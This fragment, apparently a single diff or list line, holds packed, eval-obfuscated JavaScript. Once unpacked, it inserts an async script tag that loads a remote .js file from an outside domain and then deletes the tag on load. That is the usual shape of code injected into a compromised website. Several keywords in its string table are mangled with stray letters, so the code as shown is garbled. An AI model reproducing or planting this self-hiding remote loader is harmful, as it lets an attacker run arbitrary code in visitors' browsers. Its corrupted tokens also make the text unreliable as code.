- eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('(1(){2 a=3.p(\'4\');a.e=\'d/c\';a.h=g;a.f=\'6://9.8.7/m/o.k\';2 b=3.n(\'4\')[0];b.5.j(a,b);a.i=1(){a.5.l(a)}})();',26,26,'|funcktion|var|document|sjcrjipt|parentNode|htjtp|cjom|9jg|game|||jakvajscrjipt|texkt|type|skrc|true|async|onload|insertBefore|js|removeChild|gdzmn|getElementsByTagName||createElement'.split('|'),0,{}))
|